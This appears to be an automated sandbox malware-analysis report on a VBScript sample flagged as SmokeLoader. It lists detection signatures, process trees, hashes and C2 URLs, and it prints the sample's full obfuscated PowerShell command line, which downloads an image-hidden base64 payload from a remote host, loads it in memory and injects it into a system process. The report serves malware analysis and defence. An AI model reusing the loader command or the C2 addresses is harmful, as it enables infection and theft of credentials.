Edit tour
Windows
Analysis Report
sweetnessgoodforgreatnessthingswithgood.tIF.vbs
Overview
General Information
| Sample name: | sweetnessgoodforgreatnessthingswithgood.tIF.vbs |
| Analysis ID: | 1586466 |
| MD5: | 8ccd875893cd23b67d7c61ea735f5c52 |
| SHA1: | 6171c7dd4f67a67fff0ca151c7e9a06104e00def |
| SHA256: | 16328212055d6aa79c45b6624607f74b732b159db4c6cdf7d8e6835ebdc6e392 |
| Tags: | SmokeLoadervbsuser-lontze7 |
| Infos: |   |
 | |
Detection
SmokeLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Benign windows process drops PE files
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell download and execute
Yara detected SmokeLoader
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Checks if browser processes are running
Checks if the current machine is a virtual machine (disk enumeration)
Contains functionality to compare user and computer (likely to detect sandboxes)
Creates a thread in another existing process (thread injection)
Found evasive API chain (may stop execution after checking mutex)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Maps a DLL or memory area into another process
Potential malicious VBS script found (suspicious strings)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to query CPU information (cpuid)
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: AspNetCompiler Execution
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 6292 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\sweet nessgoodfo rgreatness thingswith good.tIF.v bs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 5128 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " if ($null -ne $PSVer sionTable -and $PSVe rsionTable .PSVersion -ne $null ) { [void] $PSVersion Table.PSVe rsion } el se { Write -Output 'P owerShell version No t availabl e' };if ($ null -ne $ PSVersionT able -and $PSVersion Table.PSVe rsion -ne $null) { [ void]$PSVe rsionTable .PSVersion } else { Write-Outp ut 'PowerS hell versi on Not ava ilable' }; $originalT ext = '#x# .rofdoogem neve/052/4 41.72.3.29 1//:p##h'; $restoredT ext = $ori ginalText -replace ' #', 't';$v icegerents = 'https: //res.clou dinary.com /dnkr4s5yg /image/upl oad/v17354 20882/givv uo2katk3jn ggipgn.jpg ';$unroya list = New -Object Sy stem.Net.W ebClient;$ googleabil ity = $unr oyalist.Do wnloadData ($vicegere nts);$tuil lette = [S ystem.Text .Encoding] ::UTF8.Get String($go ogleabilit y);$marisc hal = '<<B ASE64_STAR T>>';$botc hedly = '< <BASE64_EN D>>';$usch er = $tuil lette.Inde xOf($maris chal);$dif famed = $t uillette.I ndexOf($bo tchedly);$ uscher -ge 0 -and $d iffamed -g t $uscher; $uscher += $marischa l.Length;$ tetri = $d iffamed - $uscher;$e ngagement = $tuillet te.Substri ng($uscher , $tetri); $admixture = -join ( $engagemen t.ToCharAr ray() | Fo rEach-Obje ct { $_ }) [-1..-($en gagement.L ength)];$s atisfy = [ System.Con vert]::Fro mBase64Str ing($admix ture);$riv ets = [Sys tem.Reflec tion.Assem bly]::Load ($satisfy) ;$subtract ions = [dn lib.IO.Hom e].GetMeth od('VAI'); $subtracti ons.Invoke ($null, @( $restoredT ext, 'chlo rinations' , 'chlorin ations', ' chlorinati ons', 'asp net_compil er', 'chlo rinations' , 'chlorin ations','c hlorinatio ns','chlor inations', 'chlorinat ions','chl orinations ','chlorin ations','1 ','chlorin ations','T askName')) ;if ($null -ne $PSVe rsionTable -and $PSV ersionTabl e.PSVersio n -ne $nul l) { [void ]$PSVersio nTable.PSV ersion } e lse { Writ e-Output ' PowerShell version N ot availab le' };if ( $null -ne $PSVersion Table -and $PSVersio nTable.PSV ersion -ne $null) { [void]$PSV ersionTabl e.PSVersio n } else { Write-Out put 'Power Shell vers ion Not av ailable' } ;" MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 3812 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
aspnet_compiler.exe (PID: 3824 cmdline: "C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_compil er.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2) 
explorer.exe (PID: 4056 cmdline: C:\Windows \Explorer. EXE MD5: 662F4F92FDE3557E86D110526BB578D5) - explorer.exe (PID: 2060 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 6080 cmdline:
C:\Windows \explorer. exe MD5: 662F4F92FDE3557E86D110526BB578D5) - explorer.exe (PID: 4656 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 7140 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 2508 cmdline:
C:\Windows \explorer. exe MD5: 662F4F92FDE3557E86D110526BB578D5) 
WerFault.exe (PID: 2056 cmdline: C:\Windows \system32\ WerFault.e xe -u -p 2 508 -s 696 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0) - explorer.exe (PID: 2908 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 3988 cmdline:
C:\Windows \explorer. exe MD5: 662F4F92FDE3557E86D110526BB578D5) - explorer.exe (PID: 3916 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 5144 cmdline:
C:\Windows \explorer. exe MD5: 662F4F92FDE3557E86D110526BB578D5)
- uahuajd (PID: 1652 cmdline:
C:\Users\u ser\AppDat a\Roaming\ uahuajd MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2) - conhost.exe (PID: 3380 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| SmokeLoader | The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body. |
{"Version": 2022, "C2 list": ["http://prolinice.ga/index.php", "http://vilendar.ga/index.php"]}| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_SmokeLoader | Yara detected SmokeLoader | Joe Security | ||
| JoeSecurity_SmokeLoader_2 | Yara detected SmokeLoader | Joe Security | ||
| Windows_Trojan_Smokeloader_4e31426e | unknown | unknown |
| |
| JoeSecurity_SmokeLoader_2 | Yara detected SmokeLoader | Joe Security | ||
| Windows_Trojan_Smokeloader_4e31426e | unknown | unknown |
| |
| Click to see the 6 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_SmokeLoader_2 | Yara detected SmokeLoader | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||